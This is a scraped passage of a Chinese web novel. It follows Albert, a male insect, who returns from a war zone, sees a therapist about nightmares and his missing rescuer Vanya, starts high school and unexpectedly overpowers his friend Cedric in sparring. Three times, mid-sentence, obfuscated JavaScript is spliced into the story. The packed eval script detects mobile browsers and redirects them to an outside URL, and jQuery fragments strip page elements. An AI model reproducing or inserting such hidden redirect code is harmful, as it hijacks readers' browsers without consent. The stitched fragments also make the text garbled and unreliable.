想了想,阿尔贝又睁开眼,在光脑上搜了搜专业祈愿话术。但这些祈愿语大部分都太过晦涩,根本不知道在说什么。 阿尔贝皱着眉头看了半天,最后挑了一段相对清晰明了的狗语版祈愿语,很快记住后才又合上眼,开始在心里默念。 可能是这段知名祈愿语太过冗长无聊,反复在心中默念到不知道多少次后,阿尔贝模模糊糊地睡着了。 说是睡着了,但其实也不算深度睡眠,应该是大脑和身体疲倦后自动休眠,到了早上休息够一定时间后又自动开机了。 尽管感到没有休息充分,但阿尔贝的意识已经十分清醒,再闭着眼休息也是一种折磨。 他先是看了看光脑上的新闻热点,经过一晚上的发酵,关于“外族阴谋”的言论已经在网上遍地开花,激起了不少虫对外族的愤恨。 但战争刚刚平息,这场战争背后实际是为了争夺什么,那些高层心知肚明,自然不可能再让已经平息的事端再度挑起波澜。等阿尔贝吃完早饭后再看光脑,网上关于外族的相关内容已经消失了不少。 阿尔贝去雌虫病房看了迈德,相比与昨天,他现在的状态好了不少。见到阿尔贝来看他,迈德脸上的笑容都没有消失过。那副温和愉悦的样子,都让阿尔贝觉得仿佛昨天迈德被精神力病痛折磨到扭曲的神情是错觉一般。只是精神力病痛到底损害了迈德的健康,他看着并不像以往那样有精气神。 阿尔贝问过负责精神力治疗的医生,迈德的情况只能慢慢休养。这次网上甚嚣尘上的“精神力病毒”目前并没有被研究出具体的解决方法,不清楚作用机制,也不清楚是否会有后遗症,这些都只能等以后才知道。 接下来数日,阿尔贝每天都照例问医院的工作员有没有雌虫来找他,始终只有否定的答案。 这么些天过去,凡亚仍旧没有来找过他。他们就像偶尔落在溪流里的两片树叶,仅仅在短暂的时间里相遇,又很快分开。 阿尔贝内心的失落日复一日,凡亚突然闯入了他的生命,也毫无预兆地消失,就好像从来没出现过一样。他又成了养尊处优的雄虫阁下,而凡亚却不知身在何处,也不知境况如何。 数天过去,阿尔贝伤好出院,却依旧没有等来凡亚。 他特意给医院留了联系方式,嘱托他们如果有雌虫来找他,一定要联系他。不过他心里也清楚,这么多天过去,凡亚再出现的概率小之又小,他做的一切都只是他的心里安慰罢了。 高中开学日期临近,阿尔贝不得不返回家中。他坐在飞船上最后看向克洛维尔星,随即整个星球在他的视野里越来越小,直到消失在茫茫星海中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723243|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回到家中,一切和他离开时并没有什么太大变化。 如他所料,乔特德压根记不得他去了克洛维尔星,更别提担心他经历了战乱。其实他怀疑,乔特德也压根都不知道克洛维尔星发生战乱的消息,毕竟他雄父这个虫很少关注吃喝玩乐以及折磨雌虫以外的消息,可能乔特德对奢侈品上新的时间比对他的事还要了解许多。 阿尔贝也不在意乔特德的态度,他雄父的关心一毛不值。 他的房间在他离开的这段时间一直有虫负责清洁,并没有任何灰尘。他坐在自己的床上,就能闻到被褥刚清洗晾晒过散发的淡淡香气。 阿尔贝手搭在床边沿,下意识就顺着床沿伸到床板底下摸了一圈。这里不是克洛维尔星的医院,床板底下自然什么奇怪的东西都没有。 他突然就很想笑,感觉自己刚刚做的事情太过滑稽。即使之前他被暗处的势力监视,但这么多天过去,怎么可能还会有虫追到这里来。 阿尔贝长呼一口气,躺倒在蓬松舒适的床上。这张床和床上的所有被褥床品都价值不菲,哪怕只是一个枕头,也是普通虫工作好几个月都不一定能买得起的。医院的雄虫病房即使已经算是花了很多预算精心装修,但也依旧比不上雄虫自己的卧房奢华。 这里已经离克洛维尔星远超十万八千里的距离,克洛维尔星上的一切都变得遥远。他再次回到了他原有的生活轨迹上,还是中央星养尊处优的雄虫阁下。 但一切又和他离开这里前不一样了,那段在克洛维尔星上的经历,是他永远无法忘怀的记忆,也给他心里留下了伤痛。 阿尔贝原以为回到熟悉安心的环境,他的睡眠状况就会好转,但当天晚上他依旧被梦中的可怕场景惊醒。 乔特德半夜不知道又发什么疯,不知道在折磨哪个可怜的雌侍还是雌奴,雌虫隐隐约约的痛苦呻.吟声在深夜如同家中闹鬼一样。 也不知道是不是这个原因,阿尔贝才在梦中又看见无数被炸伤的虫在血泊中哀嚎的场景。血肉溅得到处都是,地上还混杂了黄色和淡粉色的黏稠液体,沾染着烧焦的黑灰,恶心而又惊悚。 他睁开眼瞪着天花板,太阳穴一抽一抽跳动,像有把小锤子在哐当敲头。 噩梦和睡眠缺失让他心里烦躁到快要爆炸,恨不得冲到乔特德的房间把他的雄父从窗口丢下去。 这样的情况在接下来几天依旧没有好转,即使没有乔特德半夜作妖,他也没有获得一个安稳的好睡眠。 连续多天的噩梦,还有时不时的战乱场景闪回,即使远离克洛维尔星回到家中也没有好转。这让阿尔贝意识到,他的心理状况可能出了问题。 他本来不想去看心理医生,可是他的状况似乎正在恶化。现在即使有轻微的动静,都会让他从梦中惊醒。 他,如同惊弓之鸟,饱受杯弓蛇影的痛苦。 他不得不预约了心理医生阿南亚,在阿南亚医生的引导下,讲述他前段时间的经历。 阿南亚医生说:“听上去,凡亚在您心中占据了很重要的位置。那么,您可不可以告诉我,您心中是如何看待凡亚这个雌虫的?” 如何看待……凡亚吗?阿尔贝怔住,一时不知该如何回答。 17. S级雄虫阁下(一) 阿尔贝的视线下意识错开阿南亚医生的目光,瞥向周围,最后落在桌边的鲜花上。 花瓶里并没有插常见的鲜花,只有一束略显寡淡的小白花,看上去不像是花店买的,而像是随手在路边摘的绿化植物。 “好看吗?”阿南亚医生注意到阿尔贝的视线,将花瓶推向阿尔贝,连同花瓶里的小白花一并凑了过来。 阿尔贝低头闻了闻这束花,它的气味和外貌一样寡淡,只在凑近的时候能闻到淡淡的青草味。这样的花在花店里除了当背景配花外,怕是要滞销,还是做绿化植被更合理。 阿尔贝:“阿南亚医生,这是你在路边采的吗?” 阿南亚医生大笑:“当然不是,我还是有点公德心的。” 他用手指轻轻戳了戳白色的小花,介绍说:“这是我家里种的,每年这几个月我都会从家里带过来,之后几个月你都能在我的办公室里看到它。” 阿尔贝:“你家里的花怕是要被剪秃头了。” 阿南亚医生笑了笑:“花开了自然要欣赏,我每天大部分时间都待在办公室,如果让它待在家里,反倒是种浪费。更何况,鲜花有助于身心放松,摆在办公室里也能让来访者感受花开的美好。” 确实,花上淡淡的草木清香让阿尔贝感觉放松了不少。可能因为这是和平社会特有的气味。战乱中的花草,即使本身香气再馥郁,也带着硝烟的冲呛和若隐若现的血腥味。 阿尔贝将花瓶摆回原位,放松地靠坐在椅子上,开始一点一点在医生面前剖析自己心中对凡亚的感受。 阿尔贝回忆起最初对凡亚的印象:“……我当时只觉得他是一个街边粗鄙的混混,在故意闹事讹诈……虽然多数雌虫在雄虫面前总是彬彬有礼,但我知道很多雌虫谦和的面孔都只是对雄虫特有的伪装。所以,即使他在危急关头救了我,我对他的印象也并不怎么好。” 想到这,阿尔贝笑了出来:“我那时感激他救了我,但更多的,可能还是提防。直到他后来在轰炸时把我护在身下,自己却受了重伤,我才开始正视他。” 他站在旁观角度剖析自己:“想想也是好笑,同样是救了我,明明有相同的结果,我的态度却因为他受没受伤而天差地别。可能这就是劣根性,价值的评判不是看自己得到了什么,而是看对方失去了什么。” 阿南亚医生:“或许换个角度,只是因为同样的事是由不同的虫做的,所以您才有不同的感受。虽然同样都是凡亚救了您,但是两个时间点的凡亚对您而言并不是相同的。第一次的凡亚对于您是带着糟糕印象的陌生雌虫,第三次的凡亚则是已经多次救了您并且和您相处过一段时间的熟悉雌虫。” 阿南亚医生的目光放到他做的记录笔记上,在上面划出重点:“而且,您刚刚说,在那之前您让他进房间守护您睡觉。卧室是私密领域,睡眠状态则是最脆弱的时候,您让他这个时候在您身边陪伴,可能潜意识里已经将他当成了可靠的虫。” 阿尔贝怔了怔:“……可能吧。” 阿南亚医生:“您在他因保护您而受伤时,是否感到了愧疚?” 阿尔贝:“嗯。” 阿南亚医生:“那您是为了什么而愧疚呢?只是因为他受伤是为了保护您?还是……您为之前对他的偏见而愧疚?” 阿尔贝没想到阿南亚医生会提出这样的观点:“我……”他嘴边的话卡住。 阿尔贝组织了一下语言才继续说:“我在事后想过,我是否有可能在更早的时候去信任他,但是设想了很多遍,我觉得我都无法只因为一个虫救了我就相信他。感激并不能让我付出信任,我不觉得这有什么问题。只是,因为这样的原因,而没有给一个本身很好的虫以应有的态度和待遇,会让我有种亏欠感。” 阿尔贝看着阿南亚医生,思路前所未有的清晰:“我想,可能这种亏欠感加重了我对凡亚的感激和依赖。他在我身边时,我会感到格外安心。” 阿南亚医生把阿尔贝的话记了下来,又问:“您每次脑海中浮现战乱场景时是否就会联想到凡亚?想到凡亚时又是否也会想到那几天的经历?” 阿尔贝:“我平时都会刻意控制自己不要去回想战乱中的经历,但它常常会无意识自动浮现,比如做梦的时候,几乎每晚我都会梦到那些场景。在梦里,有时候凡亚会出现,有时候则不会出现。可当我梦醒的时候,都会下意识去想凡亚,仿佛想到他,内心不受控的惊恐就会得到舒缓。” 阿尔贝顿了顿:“而其他时候,我有时也会主动去想凡亚,只不过不是和那些天的经历有关,而是在想他究竟在哪,他现在的境遇如何,还有他……为什么没有再出现,没有来找我。这些就像一个个谜团,我不知道谜底,甚至有时候我疑惑自己为什么要这么执着地去反复猜想。” 阿南亚医生:“我有一个猜测,由于您在那段时间处于危险环境带来的高压下,而凡亚又恰好出现给予了您庇护,让您得到当时缺失的安全感,所以您潜意识里将安全和凡亚关联,您做噩梦后也会下意识去寻找凡亚带来的安全感。” 阿尔贝神情恍惚:“……是吗?凡亚代表的是我缺失的某种安全感?” 阿尔贝不由想到了更多,他的安全感缺失或许不仅仅来源于战乱中的不安定因素,或许早在他雌父战死雌兄失踪的时候,他就无法再像以前那样能让心时刻落到地上。他仿佛揣着他的那颗心,不肯放下,也不愿轻易交托。 阿南亚医生又问:“如果您找到了凡亚,您想做些什么?” “我……没有想过这个问题。”阿尔贝说,“可能是报答他多次救我的恩情吧。但我也不清楚该如何去做,没有虫告诉过我该如何将恩情量化又如何回馈,或许我再次见到他后才会知道要怎么做。” 他没法把他那天昏迷前最后发生的事告诉阿南亚医生,这是他必须要保密的事情,自然也就无法让医生帮他衡量他和凡亚之间的付出与亏欠。 阿南亚医生沉思片刻后说:“我之后会为您定期进行脱敏治疗。如果可以,我建议您找到凡亚并和他再相处一段时间,这可能会对您有所帮助。至于药物治疗,我并不是太推荐,不过如果您的心理问题太过影响生活,那么我之后会考虑适当让您服用一些改善情绪的药物。” 阿南亚医生将时间预约表递给阿尔贝:“您看您什么时候方便再过来,最好能做到至少两周一次。” “好的医生。”阿尔贝接过预约表,在上面勾选时间。 接下来他就要开学了,准确来说,是明天开学,再过来也只能周末抽时间了。 开学前一晚,阿尔贝依旧没睡好。但好在他年轻,第二天依旧有精力早起去学校报到。 赛德高中并不是强制住宿制的高中,阿尔贝也没打算住在学校,因而上午去学校报到后就等着下午的开学典礼。 开学典礼其实并不是什么有趣的活动,不过阿尔贝觉得很有纪念意义,所以并没有缺席。他到得不算早也不算晚,礼堂里已经坐了不少学生。 阿尔贝随意找了个中间的空位坐下,等待典礼开始。 雄虫阁下的吸引力自然不小,其他雄虫身边的位置早没了。阿尔贝刚到的时候,其实就有不少雌虫盯上他了。果然,他刚一坐下,两边的位置就立马有雌虫紧挨着坐下。 左右两个雌虫学生互看一眼,其中一个雌虫露出一抹笑容侧过身就准备搭讪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723244|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精心排练过的话还没说出口,他就看见阿尔贝点开了光脑,注意力都放在了光脑信息上,一点目光都不给周围的虫。他想要说的话一下就堵在了嗓子眼里,识相地没有去打扰阿尔贝。 两个雌虫学生又互看了一眼,压着内心的躁动都转回过头去,假装自己也有事在做,但其实全部注意力都偷偷放在了旁边的阿尔贝身上。单是坐在旁边,他们都仿佛能感觉到雄虫阁下的气息,脸颊和耳朵不由泛起红晕。 相比进入社会后雌虫间的残酷竞争,还是在上学期间近水楼台地抢先俘获一位雄虫阁下的心更容易。更何况,这位雄虫阁下的长相是如此英俊。 盯上阿尔贝的显然不止他们两个。 阿尔贝余光看到有老师上到演讲台就关了光脑。他刚放下光脑,前排坐着的虫就像脑后长了眼睛一样,立刻转过了身。 那是一个容貌昳丽的雌虫,在礼堂里明亮的灯光下,他熠熠生辉如同在发光。他一转过来,坐在阿尔贝周边的雌虫就将警惕的目光射向了他。 周围雌虫的强烈注视并没有引起他的任何反应,他全部心神都放在了阿尔贝身上,眼睛发亮:“阿尔贝阁下,您还记得我吗?我是您的初中同学伊莱斯。” 阿尔贝对上那张有些眼熟的脸,出于礼貌,语气平淡地回应了一句:“你好。” 他对初中班上的雌虫都还有点印象,毕竟也一起上了那么久的课,不过也就只是点头之交罢了,他并不喜欢和看见他就两眼放光瞬间降智的雌虫来往。 但这句“你好”在伊莱斯眼中就是阿尔贝记得他的证据,他立刻精神抖擞起来,旁边的几个雌虫也对他投来惊讶嫉妒的目光,让他更加得意兴奋。 伊莱斯满脸笑容,兴致勃勃地趴在椅背上和后边的阿尔贝说话,即使阿尔贝反应冷淡也丝毫没有影响他的兴致。 阿尔贝昨晚没睡好,对话痨的忍耐度有限。他指了指演讲台上站着的老师,然后手指放在唇边示意:“嘘!” 他的面色冷淡,一下子就让伊莱斯止住了滔滔不绝的话语,瞬间仿佛被冰封住了嗓子。 伊莱斯小心翼翼地看着阿尔贝,小声说:“抱歉,阁下。” 这下,不仅劝退了伊莱斯,也劝退了周围蠢蠢欲动想要参与进去的其他雌虫。与其硬凑上去惹雄虫阁下讨厌,还不如乖乖坐在一旁什么都不说还能得个好印象。 很快,开学典礼就正式开始。 先是由年级主任详细介绍了学校的情况,然后就是校长讲话。 考虑到参加典礼的学生中有不少雄虫,校长的演讲稿被精简又精简,丝毫不敢用废话去挑战雄虫阁下们的耐心。 快速演讲到最后,校长着重感谢了一番选择赛德高中的雄虫阁下们,并念出了每一位雄虫学生的名字。这一部分并没有被简略,不过好在相比于雌虫学生的数量而言,雄虫学生简直算得上屈指可数,名字都凑不满一页,很快就被校长语气中满怀尊敬地念完了。 台下的学生和老师们都给予了热烈鼓掌。 “嘭”!“嘭嘭嘭”! 阿尔贝听到巨响,下意识就从座位上猛地弹起准备往外跑,却对上周围虫惊讶不解的眼神,刚刚结束演讲还没有从演讲台下去的校长也投来了注视的目光。 他愣在原地。 坐得满满当当的礼堂里,只有他一个突兀地站了起来。漫天的彩带从礼堂上空飘落,增添了许多喜庆的氛围。 阿尔贝看到眼前落下的各色彩带后才反应过来,刚刚剧烈的爆炸声只是礼花筒喷射彩带的声音。 “庆贺赛德高中开学典礼”一行字就在正前方的屏幕上,又大又明显,鲜红得刺眼。 18. S级雄虫阁下(二) 彩带在礼堂里落得到处都是,不少落在学生和老师的身上。 阿尔贝头发上和肩上也挂着几根颜色各异的彩带细条,如同戏剧场景一般,彩带喷射暂停,在场所有虫都安静下来,直直看向突兀站起的阿尔贝,好奇他要干什么。 校长也目露惊讶打开才关闭的话筒,不解询问:“阿尔贝阁下,请问您有什么事吗?” 阿尔贝已经从听见爆炸声后反射性的紧张中平复下来,然而面对整个礼堂中所有虫的注视,还是让他心跳停滞了一瞬。 他难以在大庭广众之下解释自己过激反应的缘由,因为那如同将自己的伤痛暴露在光天化日之下任由参观一样,将毫无隐私,他并不想看到别的虫或惊奇或怜悯的表情。 他的嘴唇抿成一条线,面对等待他回复的校长和周围盯着他看的虫,不由蜷缩起手指。礼堂里明亮的灯光将他的面容和神态照得一清二楚,让他心中的尴尬都快要化作实质。 他的耳中轰鸣发烫,双眼下意识避开那些明晃晃的目光,大脑飞速运转。他面无表情抬起手开始鼓掌。 “啪啪啪”的掌声从他的手掌下击打而出,在安静的礼堂中格外清晰,甚至他都能感觉到有回声。 “啪啪啪啪啪”有雌虫眼珠一转,以为阿尔贝站起来是想更好地鼓掌庆贺,也极有眼色地站起来用力鼓掌,身体力行支持雄虫阁下兴起时的想法,坚决不让气氛冷场。其他雌虫恍然大悟,连忙也起立跟着一同鼓掌。 “啪啪啪啪啪啪啪啪啪啪”一连串的掌声在礼堂中爆发,陆陆续续所有虫都站起来跟着一同鼓掌。 “嘭嘭嘭”!礼花筒又被拉响,无数彩带再次从礼堂上空爆出。典礼庆贺的热烈氛围高涨,所有师生脸上都不由带上了笑容。 阿尔贝隐在站起的学生中,如释重负地长长呼出一口气。 他仰头看向漫天而下的彩带,耳边是鼓掌声和不知是谁先起头的欢呼声,脸上也不知觉中感染了笑意。 虽然出了点插曲,但他的高中生活就要正式开始了。虽然战争带给他的阴霾还未完全离去,但是新的开始中带着的新希望还是不由让他微笑。 这一刻,他清晰地感知到,他的生活彻底回归了正轨,不需要再在战乱轰炸中担惊受怕,也不需要再忧心自己是否能活下去。在和平有序的社会中,他再次回归到了受尊敬、受保护的雄虫阁下的身份地位。 礼堂中欢快的音乐声响起,在所有虫的欢声笑语中,开学典礼落幕,新一届学生的高中生活启航。 开学典礼散场,阿尔贝刚从礼堂里走出来,就被身后的虫叫住:“阿尔贝阁下,您等等,我和您一起去教室。” 伊莱斯的脸从后边冒了出来,像是完全忘光了之前被要求噤声的尴尬,笑容满面热情地打招呼:“阁下,请多多指教,新的学年,我和您又被分到了同一个班级。” 正是因为同入一所高中又被分配到一个班级的缘分,才让伊莱斯鼓起了接近阿尔贝的勇气。 在新学期的伊始,雄虫阁下对新环境还不熟悉,正是会下意识亲近以前认识的虫的时候。伊莱斯心跳加速,如果他能抓住这个时机靠近阿尔贝,他说不定就能顺理成章成为阿尔贝亲近的雌虫。他满怀期待地看向阿尔贝,等待阿尔贝的回应。 阿尔贝并没有关注过他的班级里有哪个雌虫,自然也不知道他的同班同学里是否有伊莱斯。 事实上,对于雄虫来说,他们只需要知道其他雄虫有哪些就足够了。而且由于雄虫数量较少,往往一个学校甚至一个地区的雄虫,哪怕没有过交集,相互之间都知道彼此的存在。 阿尔贝还没有给任何反应,另一个雄虫就插话进来,直接把伊莱斯挤走了:“尊贵的阿尔贝阁下,你刚刚故意在那么多虫面前出风头难道就是为了吸引雌虫的注意吗?”来者站到阿尔贝面前。 雄虫之间交谈,自然就再没有伊莱斯这个雌虫插进去的可能,要是强插话进去却不小心冷落了哪位雄虫阁下,怕是没有哪个雌虫想承受雄虫的不满情绪。伊莱斯只能遗憾地看了一眼阿尔贝,默默退下。 “赛得里克!”阿尔贝一看就笑了,伸手和赛得里克握住。 同为雄虫的赛得里克是他的朋友,也一同进入了赛德高中。他刚到礼堂的时候没看见赛得里克,后来礼堂里的雌虫雄虫多了,他也很难在一群密密麻麻的学生中找到其中某个虫的身影,还以为一向不喜欢参加集会的赛得里克又不打算来参加活动。这个时候突然见到赛得里克,阿尔贝格外惊喜。 赛得里克也咧开嘴笑了,用力握住阿尔贝的手,边拍了拍阿尔贝的肩膀:“阿尔贝,你从克洛维尔星回来怎么也不出来聚聚,我们前些日子都很担心你。” 阿尔贝忍不住弯起嘴角,正要答话,就听见旁边路过的雄虫冲他们冷声嗤笑。 那个雄虫腰背挺得过于笔直,微昂着头,用下巴各瞥了阿尔贝和赛得里克一眼,端着冷篾的眼神擦过他们的身侧。 阿尔贝隐约记得这个雄虫的名字是库诺克,但也并不是很确定,因为他们之前并没有任何交集。 为何路边陌生的狗会突然狂吠一声就走?怀着相似的疑问,阿尔贝问赛得里克:“那是库诺克?我招惹过他吗?” 赛得里克啧啧咂舌:“阿尔贝你还不知道吗?他这样看你当然是因为你抢了他的风头。” 他又补充:“我说的是成绩,不是你刚刚莫名其妙站起来鼓掌的事。” 赛得里克:“库诺克是A级,一向认为自己精神力等级高,其他方面也应该碾压过别的雄虫。你的精神力等级不如他,成绩却比他高了不少,他自然看你不爽。” 阿尔贝诧异看了赛得里克一眼:“那他看你干什么?”如果他没有记错,赛得里克一向都是奉行成绩够用就好主义。 赛得里克:“我长得帅。” 阿尔贝:“哈?” 赛得里克挑眉:“不然你以为呢?同为A级,我这样身强体壮又相貌英俊的雄虫,自然会受到库诺克那种儿童身材的雄虫的嫉妒。” 阿尔贝:“……嗯。”真是合理又自恋的答案。 跳过突然冒出来刷存在感的无关虫库诺克,话题再次回到阿尔贝身上。 赛得里克出于严谨,视线上上下下仔细扫描了一遍阿尔贝全身:“你身上不会有哪变成机械的了吧?我下次打你的时候一定要提前避开。” 阿尔贝:“那可惜了,不能让你体验到打到铁板上的感觉。” 他看着好友隐隐关切的目光,弯起嘴角:“赛得里克,你放心,我一切都好。” “那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723245|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。”赛得里克搂住阿尔贝的肩,边走边说:“马上就要规划高中的课程安排了,你想好大学要学什么专业了吗?要不和我一起备考军校?” 阿尔贝:“好呀。” 赛得里克笑出声:“我在认真问你的想法呢。” 阿尔贝:“我也是认真在回答你。” “嗯?”赛得里克停下脚步,惊讶极了:“真的假的?你不去搞那个什么文化研究了?你之前不是还说想在大学搞研究工作吗?” 他对着阿尔贝上上下下又仔细打量了一番,尤其重点检查阿尔贝头部有没有受过重创,惊呼:“你难道这次在克洛维尔星突然意识到自己对军事战斗的兴趣了?还是遭受什么重大打击了?” 阿尔贝扯下赛得里克放在他头上的手,自己也感慨地哼笑了一声:“没有,我只是这几天才突然有了这个想法,有些事可能比文化研究对我更有意义。而且,我对军事战斗不感兴趣,我打算报考的是军校的精神研究系。” 这个想法可以说是临时起意,也可以说是酝酿已久。早在前些日子阿尔贝就有了这个念头,只不过当时还不能下定决心。但当刚刚赛得里克问起他要不要一同报考军校时,他突然就觉得他对此没有什么再犹豫的必要。 一方面是他觉得从军校进入军部后会更方便找到凡亚,另一方面也是因为他看到许多如迈德雌叔这样的雌虫长期饱受精神力疾病折磨而没有有效的治疗方法,因而他想要凭借自己雄虫精神力在这方面的研究优势,看能不能做出研究成果帮助到他们。 “精神研究系?军校里还有这个专业?”赛得里克完全没有关注过,再说,这也不是军校的热门专业。 阿尔贝笑了笑:“如果军雌的精神力出了问题,就需要专业的精神力救治,这也是军校开设这个专业的意义。” 赛得里克恍然大悟,他是雄虫,从来没有精神力问题方面的困扰,差点忘了军雌因为长期处于紧绷的状态,精神力比寻常雌虫更容易动乱。这么一看,这个精神研究专业确实很有存在的必要。 不过,这个专业毕业到底不如指挥系战斗系那样能直接接触军部实权。赛得里克打算报考军校并不是对战争有多么狂热,而是他的A级雄虫身份可以让他在军部更轻易获得权力,因而精神研究这种辅助专业,并不在他的考虑范围之内。 他这么想,就不由为阿尔贝感到可惜。但他转念一想,阿尔贝并不像他是高等级雄虫,即使学习成绩格外优异,但困于精神力等级的限制,可能报考指挥系并不是最适合的道路,选择精神研究专业应该也是阿尔贝精心考虑过的选择。 赛得里克点了点头,认真告诉了阿尔贝一些报考军校的相关信息。 “……即使是报考精神研究这样偏辅助的专业,也对体能和实战有一定的要求。”赛得里克早早就确定了去军校的目标,平时经常会进行一些训练。他的学习成绩是远远够不到阿尔贝的鞋底,但他的身体素质绝对远超阿尔贝一条街。 说到这,赛得里克来了兴致:“不如你等会跟我一起去训练场,让我顺便教你几招,让你看看我的实力。” 赛得里克咧嘴微笑,他对自己的体能和实战能力很有信心。 …… “砰”!训练场上,赛得里克被阿尔贝摔飞出去。 19. S级雄虫阁下(三) 赛得里克震惊了:“兄弟,你是在克洛维尔星变异了吗?!” 赛得里克顾不上摔疼的屁股,一个利落的翻身就从地上跳起,像第一天才认识阿尔贝一般,前前后后绕着圈打量阿尔贝,目光来回上下移动,誓要从阿尔贝身上看出异常情况。 阿尔贝也没想到他能将赛得里克这么大个雄虫摔飞出去,他本来只觉得自己最多能把赛得里克推得踉跄,因而就没有收力。 这并不是什么敌我之间水火不容的搏斗,只是朋友间的切磋,阿尔贝觉得自己下手太重了点。虽然是无意,但他还是生起一丝愧疚和歉意。 阿尔贝拉住还在围绕他公转的赛得里克,眉头因关切而蹙起:“赛得里克,抱歉,我没有注意力道,你还好吗?” 赛得里克仍瞪大眼睛:“我不太好,我简直要震惊死了好吗?我的朋友假期里居然偷偷背着我变强!!!阿尔贝,你其实不是去克洛维尔星调研当地文化,而是参加了实战训练吧?这什么训练效果这么好?!快推给我!” 阿尔贝看着激动又兴奋的赛得里克无奈地扯动嘴角,看赛得里克这个样子,就知道刚刚把地都砸出响声也压根没把皮糙肉厚的赛得里克怎么样。 不过,阿尔贝也不清楚他自己为什么能把赛得里克摔出去。他回忆当时的感觉,就只觉得手下稍一用力,随着意识对身体的指挥,下一秒就把赛得里克举起摔了出去。整个过程丝滑得就像……鬼附身? 阿尔贝把这个离谱的猜测弹出脑海,开始进行一些更科学的推测:“赛得里克,你是不是瘦了?我感觉……唔,手感偏轻。” 赛得里克先是自我怀疑了一下,随即肯定道:“不可能!我这个假期还特意为了练出肌肉而增重,不要怀疑我刻苦训练的成果!” 说着,赛得里克撸起袖子握拳,绷出胳膊上成块的肌肉。 阿尔贝做出同款动作,但他的胳膊上仅能勉强看出肌肉线条,而无明显大块肌肉。 对比稍显惨烈,他们两个把胳膊凑近的虫对视一眼,更加震惊。 赛得里克:“啊这……” 阿尔贝:“这啊……” 阿尔贝也陷入了深深的不解。他看了赛得里克一眼,又看了自己的胳膊一眼。这又不是什么生死关头,怎么也不可能是情急之下爆发了潜能吧…… 阿尔贝突然愣住,生死关头爆发潜能? 他不是真的觉得自己在经历生死关后就真的爆发出什么潜能,而是想到了“X物质”。 如果X物质能让濒死的雄虫挺过来,那么也不是不可能改变他的体能,毕竟从重伤中活下来很大程度上和体能有关。 “阿尔贝,你怎么了?是想到什么了吗?”赛得里克见阿尔贝半天没有反应像是走神了,不由好奇戳了戳阿尔贝胳膊上的肌肉。 阿尔贝抿嘴,将他真正的猜测咽下,对着赛得里克笑了笑:“我没事,我只是想到,可能是我在克洛维尔星上受过重伤才激发了体内的潜能。”这个理由对于还没上过一天高中课程的赛得里克足够用了,阿尔贝在心里默默对赛得里克说了声抱歉。 赛得里克恍然大悟,然后:“啊?” 赛得里克又惊了一跳:“你受重伤?你在刚刚还有之前在克洛维尔星上的时候怎么都不告诉我?伤哪了?” 阿尔贝:“没事,现在都好了。之前在克洛维尔星上我能收到你信息的时候已经是从治疗舱中醒来了,现在的医疗科技你就放心好了,雄虫特供治疗舱里的药液和不死水也差不多了。” 赛得里克沉默地给了阿尔贝一个拥抱,轻轻拍了拍他的背。 阿尔贝被赛得里克这幅沉重的模样搞得哭笑不得,但他知道赛得里克这样是关心他。他不由为之动容,心中温暖,嘴角也弯了弯:“好了,我真没事,不然也不可能把你摔飞出去。” 提到这个,赛得里克瞬间就从心疼阿尔贝的情绪中脱离。 他后背和屁股上隐隐的疼痛后知后觉开始发作,更关键的是这件事很丢脸!让赛得里克忍不住有些狂躁地抓了抓头发:“啊啊啊!!!我居然被你扔出去了!” 赛得里克想到之前他在阿尔贝面前放的大话,还说要教阿尔贝几招。他强调:“我刚刚只是一时不察,以为你还是原来的水平才轻敌了。” 阿尔贝笑了:“我知道。” 赛得里克:“唉,这种失误真的很有损我的一世英名,我都没有发挥我真正的实力。” 阿尔贝翘起嘴角:“嗯,我知道。” 赛得里克:“我加训了一个假期,现在还是很强的,起码那个就会‘嗤嗤嗤’用鼻子笑的库诺克就打不过我。” 阿尔贝赞同:“对,我知道。” 赛得里克:“不过你现在也挺强的,不是我变弱了。” 阿尔贝无语:“嗯,我知道。” 赛得里克还在源源不断地给自己找理由,阿尔贝只能无奈又好笑地一一点头表示明白。 阿尔贝意外展露出的实力让赛得里克已经毫不怀疑阿尔贝报考军校的可能,即使精神力稍差了一点,但凭着出色的学习成绩和体能,也不是不可能进入排名前几的军校。 赛得里克建议阿尔贝找学校升学指导的老师好好规划一番。 阿尔贝:“嗯,我会的。”他既然精神力没有赛得里克强,自然别的地方要更加努力一些才行。 赛得里克很高兴:“阿尔贝,你加油,我打算报考中央军校。如果你也能考进去,咱们就又能成为同学在一个学校里了。” 关于报考哪所军校,阿尔贝目前还没有特别心仪的。不过多数军校都设有精神研究系,中央军校又确实是排名前几的军校,阿尔贝并不排斥将其作为自己的报考目标。 